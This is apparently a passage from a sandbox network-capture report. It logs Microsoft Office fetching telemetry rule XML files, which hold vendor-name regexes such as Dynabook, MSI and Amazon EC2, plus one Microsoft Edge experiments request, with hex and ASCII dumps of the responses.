2024-11-28 01:27:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012731Z-174f7845968kdththC1EWRzvxn0000000a4g000000006818 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:33 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:33 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: b00412e4-c01e-008d-4e65-402eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012733Z-174f7845968nxc96hC1EWRspw80000000xd000000000gkpd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:33 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:34 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012734Z-174f7845968xr5c2hC1EWRd0hn0000000efg00000000k8nw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:34 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:34 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012734Z-174f7845968jrjrxhC1EWRmmrs0000000xy0000000004xd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:34 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:34 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:34 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012734Z-174f7845968qj8jrhC1EWRh41s0000000xmg00000000gc8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:34 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:34 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012734Z-174f7845968vqt9xhC1EWRgten0000000xtg000000008ryg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:34 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:36 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:36 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012736Z-174f78459685m244hC1EWRgp2c0000000xeg00000000nq61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:36 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:36 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:36 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012736Z-174f7845968pf68xhC1EWRr4h80000000xy000000000dtsp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:36 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:36 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:36 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012736Z-174f78459685726chC1EWRsnbg0000000xpg00000000patp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:36 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:36 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:36 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012736Z-174f7845968glpgnhC1EWR7uec0000000xyg000000004s4a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:36 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49812	94.245.104.56	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:36 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:37 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Thu, 28 Nov 2024 01:27:36 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b5402d0083c5b50f835ef79783ff9277bd34fb2f5a1072e0413261fdc4171bdd;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:37 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012737Z-174f7845968jrjrxhC1EWRmmrs0000000xx00000000085gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:38 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:39 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 77a0d04a-d01e-0082-5d28-41e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012739Z-174f7845968pght8hC1EWRyvxg00000000t000000000k9xn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
